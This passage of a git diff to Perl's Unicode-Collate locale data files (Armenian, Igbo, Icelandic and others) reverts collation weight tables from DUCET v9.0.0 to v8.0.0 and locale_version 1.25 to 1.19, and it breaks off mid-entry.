[.1E31.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E31.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E31.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E31.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E31.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0171 ; [.1E31.0021.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0075 030B ; [.1E31.0021.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0170 ; [.1E31.0021.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +0055 030B ; [.1E31.0021.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +0063 0063 0073 ; [.1BF6.0020.0002][.1BF6.0020.0002] # +0063 0063 0053 ; [.1BF6.0020.0002][.1BF6.0020.0007][.0000.0000.0002] # +0063 0043 0073 ; [.1BF6.0020.0002][.1BF6.0020.0007][.0000.0000.0008] # +0063 0043 0053 ; [.1BF6.0020.0002][.1BF6.0020.0008] # +0043 0063 0073 ; [.1BF6.0020.0008][.1BF6.0020.0002] # +0043 0063 0053 ; [.1BF6.0020.0008][.1BF6.0020.0007][.0000.0000.0002] # +0043 0043 0073 ; [.1BF6.0020.0008][.1BF6.0020.0007][.0000.0000.0008] # +0043 0043 0053 ; [.1BF6.0020.0008][.1BF6.0020.0008] # +0064 0064 007A ; [.1C0B.0020.0002][.1C0B.0020.0002] # +0064 0064 005A ; [.1C0B.0020.0002][.1C0B.0020.0007][.0000.0000.0002] # +0064 0044 007A ; [.1C0B.0020.0002][.1C0B.0020.0007][.0000.0000.0008] # +0064 0044 005A ; [.1C0B.0020.0002][.1C0B.0020.0008] # +0044 0064 007A ; [.1C0B.0020.0008][.1C0B.0020.0002] # +0044 0064 005A ; [.1C0B.0020.0008][.1C0B.0020.0007][.0000.0000.0002] # +0044 0044 007A ; [.1C0B.0020.0008][.1C0B.0020.0007][.0000.0000.0008] # +0044 0044 005A ; [.1C0B.0020.0008][.1C0B.0020.0008] # +0064 0064 007A 0073 ; [.1C0C.0020.0002][.1C0C.0020.0002] # +0064 0064 007A 0053 ; [.1C0C.0020.0002][.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0002] # +0064 0064 005A 0073 ; [.1C0C.0020.0002][.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0007] # +0064 0064 005A 0053 ; [.1C0C.0020.0002][.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0008] # +0064 0044 007A 0073 ; [.1C0C.0020.0002][.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0002] # +0064 0044 007A 0053 ; [.1C0C.0020.0002][.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0007] # +0064 0044 005A 0073 ; [.1C0C.0020.0002][.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0008] # +0064 0044 005A 0053 ; [.1C0C.0020.0002][.1C0C.0020.0008] # +0044 0064 007A 0073 ; [.1C0C.0020.0008][.1C0C.0020.0002] # +0044 0064 007A 0053 ; [.1C0C.0020.0008][.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0002] # +0044 0064 005A 0073 ; [.1C0C.0020.0008][.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0007] # +0044 0064 005A 0053 ; [.1C0C.0020.0008][.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0008] # +0044 0044 007A 0073 ; [.1C0C.0020.0008][.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0002] # +0044 0044 007A 0053 ; [.1C0C.0020.0008][.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0007] # +0044 0044 005A 0073 ; [.1C0C.0020.0008][.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0008] # +0044 0044 005A 0053 ; [.1C0C.0020.0008][.1C0C.0020.0008] # +0067 0067 0079 ; [.1C70.0020.0002][.1C70.0020.0002] # +0067 0067 0059 ; [.1C70.0020.0002][.1C70.0020.0007][.0000.0000.0002] # +0067 0047 0079 ; [.1C70.0020.0002][.1C70.0020.0007][.0000.0000.0008] # +0067 0047 0059 ; [.1C70.0020.0002][.1C70.0020.0008] # +0047 0067 0079 ; [.1C70.0020.0008][.1C70.0020.0002] # +0047 0067 0059 ; [.1C70.0020.0008][.1C70.0020.0007][.0000.0000.0002] # +0047 0047 0079 ; [.1C70.0020.0008][.1C70.0020.0007][.0000.0000.0008] # +0047 0047 0059 ; [.1C70.0020.0008][.1C70.0020.0008] # +006C 006C 0079 ; [.1CF3.0020.0002][.1CF3.0020.0002] # +006C 006C 0059 ; [.1CF3.0020.0002][.1CF3.0020.0007][.0000.0000.0002] # +006C 004C 0079 ; [.1CF3.0020.0002][.1CF3.0020.0007][.0000.0000.0008] # +006C 004C 0059 ; [.1CF3.0020.0002][.1CF3.0020.0008] # +004C 006C 0079 ; [.1CF3.0020.0008][.1CF3.0020.0002] # +004C 006C 0059 ; [.1CF3.0020.0008][.1CF3.0020.0007][.0000.0000.0002] # +004C 004C 0079 ; [.1CF3.0020.0008][.1CF3.0020.0007][.0000.0000.0008] # +004C 004C 0059 ; [.1CF3.0020.0008][.1CF3.0020.0008] # +006E 006E 0079 ; [.1D35.0020.0002][.1D35.0020.0002] # +006E 006E 0059 ; [.1D35.0020.0002][.1D35.0020.0007][.0000.0000.0002] # +006E 004E 0079 ; [.1D35.0020.0002][.1D35.0020.0007][.0000.0000.0008] # +006E 004E 0059 ; [.1D35.0020.0002][.1D35.0020.0008] # +004E 006E 0079 ; [.1D35.0020.0008][.1D35.0020.0002] # +004E 006E 0059 ; [.1D35.0020.0008][.1D35.0020.0007][.0000.0000.0002] # +004E 004E 0079 ; [.1D35.0020.0008][.1D35.0020.0007][.0000.0000.0008] # +004E 004E 0059 ; [.1D35.0020.0008][.1D35.0020.0008] # +0073 0073 007A ; [.1DED.0020.0002][.1DED.0020.0002] # +0073 0073 005A ; [.1DED.0020.0002][.1DED.0020.0007][.0000.0000.0002] # +0073 0053 007A ; [.1DED.0020.0002][.1DED.0020.0007][.0000.0000.0008] # +0073 0053 005A ; [.1DED.0020.0002][.1DED.0020.0008] # +0053 0073 007A ; [.1DED.0020.0008][.1DED.0020.0002] # +0053 0073 005A ; [.1DED.0020.0008][.1DED.0020.0007][.0000.0000.0002] # +0053 0053 007A ; [.1DED.0020.0008][.1DED.0020.0007][.0000.0000.0008] # +0053 0053 005A ; [.1DED.0020.0008][.1DED.0020.0008] # +0074 0074 0079 ; [.1E11.0020.0002][.1E11.0020.0002] # +0074 0074 0059 ; [.1E11.0020.0002][.1E11.0020.0007][.0000.0000.0002] # +0074 0054 0079 ; [.1E11.0020.0002][.1E11.0020.0007][.0000.0000.0008] # +0074 0054 0059 ; [.1E11.0020.0002][.1E11.0020.0008] # +0054 0074 0079 ; [.1E11.0020.0008][.1E11.0020.0002] # +0054 0074 0059 ; [.1E11.0020.0008][.1E11.0020.0007][.0000.0000.0002] # +0054 0054 0079 ; [.1E11.0020.0008][.1E11.0020.0007][.0000.0000.0008] # +0054 0054 0059 ; [.1E11.0020.0008][.1E11.0020.0008] # +007A 007A 0073 ; [.1E9D.0020.0002][.1E9D.0020.0002] # +007A 007A 0053 ; [.1E9D.0020.0002][.1E9D.0020.0007][.0000.0000.0002] # +007A 005A 0073 ; [.1E9D.0020.0002][.1E9D.0020.0007][.0000.0000.0008] # +007A 005A 0053 ; [.1E9D.0020.0002][.1E9D.0020.0008] # +005A 007A 0073 ; [.1E9D.0020.0008][.1E9D.0020.0002] # +005A 007A 0053 ; [.1E9D.0020.0008][.1E9D.0020.0007][.0000.0000.0002] # +005A 005A 0073 ; [.1E9D.0020.0008][.1E9D.0020.0007][.0000.0000.0008] # +005A 005A 0053 ; [.1E9D.0020.0008][.1E9D.0020.0008] # ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/hy.pl b/cpan/Unicode-Collate/Collate/Locale/hy.pl index 59615f957093..bce23ee69187 100644 --- a/cpan/Unicode-Collate/Collate/Locale/hy.pl +++ b/cpan/Unicode-Collate/Collate/Locale/hy.pl @@ -1,9 +1,9 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0587 ; [.22B3.0020.0002][.FFF1.0000.0000] # ARMENIAN SMALL LIGATURE ECH YIWN -0584 ; [.22B3.0020.0002][.FFF0.0000.0000] # ARMENIAN SMALL LETTER KEH -0535 0582 ; [.22B3.0020.0008][.FFF1.0000.0000] # -0554 ; [.22B3.0020.0008][.FFF0.0000.0000] # ARMENIAN CAPITAL LETTER KEH + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0587 ; [.222E.0020.0002][.FFF1.0000.0000] # ARMENIAN SMALL LIGATURE ECH YIWN +0584 ; [.222E.0020.0002][.FFF0.0000.0000] # ARMENIAN SMALL LETTER KEH +0535 0582 ; [.222E.0020.0008][.FFF1.0000.0000] # +0554 ; [.222E.0020.0008][.FFF0.0000.0000] # ARMENIAN CAPITAL LETTER KEH ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/ig.pl b/cpan/Unicode-Collate/Collate/Locale/ig.pl index 1ac922bdb83c..9376de996ca0 100644 --- a/cpan/Unicode-Collate/Collate/Locale/ig.pl +++ b/cpan/Unicode-Collate/Collate/Locale/ig.pl @@ -1,54 +1,54 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0063 0068 ; [.1C61.0020.0002] # -0043 0068 ; [.1C61.0020.0007] # -0043 0048 ; [.1C61.0020.0008] # -0067 0062 ; [.1CF5.0020.0002] # -0047 0062 ; [.1CF5.0020.0007] # -0047 0042 ; [.1CF5.0020.0008] # -0067 0068 ; [.1CF6.0020.0002] # -0047 0068 ; [.1CF6.0020.0007] # -0047 0048 ; [.1CF6.0020.0008] # -0067 0077 ; [.1CF7.0020.0002] # -0047 0077 ; [.1CF7.0020.0007] # -0047 0057 ; [.1CF7.0020.0008] # -1ECB ; [.1D33.0020.0002] # LATIN SMALL LETTER I WITH DOT BELOW -0069 0323 ; [.1D33.0020.0002] # LATIN SMALL LETTER I WITH DOT BELOW -1ECA ; [.1D33.0020.0008] # LATIN CAPITAL LETTER I WITH DOT BELOW -0049 0323 ; [.1D33.0020.0008] # LATIN CAPITAL LETTER I WITH DOT BELOW -006B 0070 ; [.1D66.0020.0002] # -004B 0070 ; [.1D66.0020.0007] # -004B 0050 ; [.1D66.0020.0008] # -006B 0077 ; [.1D67.0020.0002] # -004B 0077 ; [.1D67.0020.0007] # -004B 0057 ; [.1D67.0020.0008] # -1E45 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH DOT ABOVE -006E 0307 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH DOT ABOVE -1E44 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH DOT ABOVE -004E 0307 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH DOT ABOVE -006E 0077 ; [.1DBB.0020.0002] # -004E 0077 ; [.1DBB.0020.0007] # -004E 0057 ; [.1DBB.0020.0008] # -006E 0079 ; [.1DBC.0020.0002] # -004E 0079 ; [.1DBC.0020.0007] # -004E 0059 ; [.1DBC.0020.0008] # -1ECD ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW -006F 0323 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW -1ECC ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW -004F 0323 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW -1ED9 ; [.1DDE.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW -1ED8 ; [.1DDE.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW -1EE3 ; [.1DDE.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW -1EE2 ; [.1DDE.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW -0073 0068 ; [.1E72.0020.0002] # -0053 0068 ; [.1E72.0020.0007] # -0053 0048 ; [.1E72.0020.0008] # -1EE5 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DOT BELOW -0075 0323 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DOT BELOW -1EE4 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DOT BELOW -0055 0323 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DOT BELOW -1EF1 ; [.1EB6.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER U WITH HORN AND DOT BELOW -1EF0 ; [.1EB6.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0063 0068 ; [.1BDC.0020.0002] # +0043 0068 ; [.1BDC.0020.0007] # +0043 0048 ; [.1BDC.0020.0008] # +0067 0062 ; [.1C70.0020.0002] # +0047 0062 ; [.1C70.0020.0007] # +0047 0042 ; [.1C70.0020.0008] # +0067 0068 ; [.1C71.0020.0002] # +0047 0068 ; [.1C71.0020.0007] # +0047 0048 ; [.1C71.0020.0008] # +0067 0077 ; [.1C72.0020.0002] # +0047 0077 ; [.1C72.0020.0007] # +0047 0057 ; [.1C72.0020.0008] # +1ECB ; [.1CAE.0020.0002] # LATIN SMALL LETTER I WITH DOT BELOW +0069 0323 ; [.1CAE.0020.0002] # LATIN SMALL LETTER I WITH DOT BELOW +1ECA ; [.1CAE.0020.0008] # LATIN CAPITAL LETTER I WITH DOT BELOW +0049 0323 ; [.1CAE.0020.0008] # LATIN CAPITAL LETTER I WITH DOT BELOW +006B 0070 ; [.1CE1.0020.0002] # +004B 0070 ; [.1CE1.0020.0007] # +004B 0050 ; [.1CE1.0020.0008] # +006B 0077 ; [.1CE2.0020.0002] # +004B 0077 ; [.1CE2.0020.0007] # +004B 0057 ; [.1CE2.0020.0008] # +1E45 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH DOT ABOVE +006E 0307 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH DOT ABOVE +1E44 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH DOT ABOVE +004E 0307 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH DOT ABOVE +006E 0077 ; [.1D36.0020.0002] # +004E 0077 ; [.1D36.0020.0007] # +004E 0057 ; [.1D36.0020.0008] # +006E 0079 ; [.1D37.0020.0002] # +004E 0079 ; [.1D37.0020.0007] # +004E 0059 ; [.1D37.0020.0008] # +1ECD ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW +006F 0323 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW +1ECC ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW +004F 0323 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW +1ED9 ; [.1D59.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW +1ED8 ; [.1D59.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW +1EE3 ; [.1D59.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW +1EE2 ; [.1D59.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW +0073 0068 ; [.1DED.0020.0002] # +0053 0068 ; [.1DED.0020.0007] # +0053 0048 ; [.1DED.0020.0008] # +1EE5 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DOT BELOW +0075 0323 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DOT BELOW +1EE4 ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DOT BELOW +0055 0323 ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DOT BELOW +1EF1 ; [.1E31.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER U WITH HORN AND DOT BELOW +1EF0 ; [.1E31.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/is.pl b/cpan/Unicode-Collate/Collate/Locale/is.pl index 5ffe0405bb41..fd808f4dda7c 100644 --- a/cpan/Unicode-Collate/Collate/Locale/is.pl +++ b/cpan/Unicode-Collate/Collate/Locale/is.pl @@ -1,81 +1,81 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -00E1 ; [.1C5F.0020.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0301 ; [.1C5F.0020.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0341 ; [.1C5F.0020.0002] # LATIN SMALL LETTER A WITH ACUTE -00C1 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0301 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0341 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0111 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0110 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -00F0 ; [.1C90.0020.0002] # LATIN SMALL LETTER ETH -1DD9 ; [.1C90.0020.0002] # COMBINING LATIN SMALL LETTER ETH -00D0 ; [.1C90.0020.0008] # LATIN CAPITAL LETTER ETH -00E9 ; [.1CE4.0020.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0301 ; [.1CE4.0020.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0341 ; [.1CE4.0020.0002] # LATIN SMALL LETTER E WITH ACUTE -00C9 ; [.1CE4.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0301 ; [.1CE4.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0341 ; [.1CE4.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE -00ED ; [.1D4B.0020.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0301 ; [.1D4B.0020.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0341 ; [.1D4B.0020.0002] # LATIN SMALL LETTER I WITH ACUTE -00CD ; [.1D4B.0020.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0301 ; [.1D4B.0020.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0341 ; [.1D4B.0020.0008] # LATIN CAPITAL LETTER I WITH ACUTE -00F3 ; [.1E0B.0020.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0301 ; [.1E0B.0020.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0341 ; [.1E0B.0020.0002] # LATIN SMALL LETTER O WITH ACUTE -00D3 ; [.1E0B.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0301 ; [.1E0B.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0341 ; [.1E0B.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE -00FA ; [.1EE2.0020.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0301 ; [.1EE2.0020.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0341 ; [.1EE2.0020.0002] # LATIN SMALL LETTER U WITH ACUTE -00DA ; [.1EE2.0020.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0301 ; [.1EE2.0020.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0341 ; [.1EE2.0020.0008] # LATIN CAPITAL LETTER U WITH ACUTE -00FD ; [.1F20.0020.0002] # LATIN SMALL LETTER Y WITH ACUTE -0079 0301 ; [.1F20.0020.0002] # LATIN SMALL LETTER Y WITH ACUTE -0079 0341 ; [.1F20.0020.0002] # LATIN SMALL LETTER Y WITH ACUTE -00DD ; [.1F20.0020.0008] # LATIN CAPITAL LETTER Y WITH ACUTE -0059 0301 ; [.1F20.0020.0008] # LATIN CAPITAL LETTER Y WITH ACUTE -0059 0341 ; [.1F20.0020.0008] # LATIN CAPITAL LETTER Y WITH ACUTE -00E6 ; [.1F96.0020.0002] # LATIN SMALL LETTER AE -1DD4 ; [.1F96.0020.0002] # COMBINING LATIN SMALL LETTER AE -00C6 ; [.1F96.0020.0008] # LATIN CAPITAL LETTER AE -1D2D ; [.1F96.0020.0014] # MODIFIER LETTER CAPITAL AE -01FD ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE -01FC ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE -01E3 ; [.1F96.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON -01E2 ; [.1F96.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON -00E4 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1F96.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1F96.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -00F6 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1F97.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1F97.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -00F8 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH STROKE -006F 0338 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH STROKE -00D8 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE -004F 0338 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE -01FF ; [.1F97.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE -01FE ; [.1F97.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE -00E5 ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -0061 030A ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -00C5 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -0041 030A ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -212B ; [.1F98.0020.0008] # ANGSTROM SIGN -01FB ; [.1F98.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE -01FA ; [.1F98.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +00E1 ; [.1BDA.0020.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0301 ; [.1BDA.0020.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0341 ; [.1BDA.0020.0002] # LATIN SMALL LETTER A WITH ACUTE +00C1 ; [.1BDA.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0301 ; [.1BDA.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0341 ; [.1BDA.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0111 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0110 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +00F0 ; [.1C0B.0020.0002] # LATIN SMALL LETTER ETH +1DD9 ; [.1C0B.0020.0002] # COMBINING LATIN SMALL LETTER ETH +00D0 ; [.1C0B.0020.0008] # LATIN CAPITAL LETTER ETH +00E9 ; [.1C5F.0020.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0301 ; [.1C5F.0020.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0341 ; [.1C5F.0020.0002] # LATIN SMALL LETTER E WITH ACUTE +00C9 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0301 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0341 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE +00ED ; [.1CC6.0020.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0301 ; [.1CC6.0020.0002] # LATIN SMALL LETTER I WITH ACUTE +0069 0341 ; [.1CC6.0020.0002] # LATIN SMALL LETTER I WITH ACUTE +00CD ; [.1CC6.0020.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0301 ; [.1CC6.0020.0008] # LATIN CAPITAL LETTER I WITH ACUTE +0049 0341 ; [.1CC6.0020.0008] # LATIN CAPITAL LETTER I WITH ACUTE +00F3 ; [.1D86.0020.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0301 ; [.1D86.0020.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0341 ; [.1D86.0020.0002] # LATIN SMALL LETTER O WITH ACUTE +00D3 ; [.1D86.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0301 ; [.1D86.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0341 ; [.1D86.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE +00FA ; [.1E5D.0020.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0301 ; [.1E5D.0020.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0341 ; [.1E5D.0020.0002] # LATIN SMALL LETTER U WITH ACUTE +00DA ; [.1E5D.0020.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0301 ; [.1E5D.0020.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0341 ; [.1E5D.0020.0008] # LATIN CAPITAL LETTER U WITH ACUTE +00FD ; [.1E9B.0020.0002] # LATIN SMALL LETTER Y WITH ACUTE +0079 0301 ; [.1E9B.0020.0002] # LATIN SMALL LETTER Y WITH ACUTE +0079 0341 ; [.1E9B.0020.0002] # LATIN SMALL LETTER Y WITH ACUTE +00DD ; [.1E9B.0020.0008] # LATIN CAPITAL LETTER Y WITH ACUTE +0059 0301 ; [.1E9B.0020.0008] # LATIN CAPITAL LETTER Y WITH ACUTE +0059 0341 ; [.1E9B.0020.0008] # LATIN CAPITAL LETTER Y WITH ACUTE +00E6 ; [.1F11.0020.0002] # LATIN SMALL LETTER AE +1DD4 ; [.1F11.0020.0002] # COMBINING LATIN SMALL LETTER AE +00C6 ; [.1F11.0020.0008] # LATIN CAPITAL LETTER AE +1D2D ; [.1F11.0020.0014] # MODIFIER LETTER CAPITAL AE +01FD ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE +01FC ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE +01E3 ; [.1F11.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON +01E2 ; [.1F11.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON +00E4 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +0041 0308 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1F11.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1F11.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +00F6 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1F12.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1F12.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +00F8 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH STROKE +006F 0338 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH STROKE +00D8 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE +004F 0338 ; [.1F12.0021.0008] # LATIN 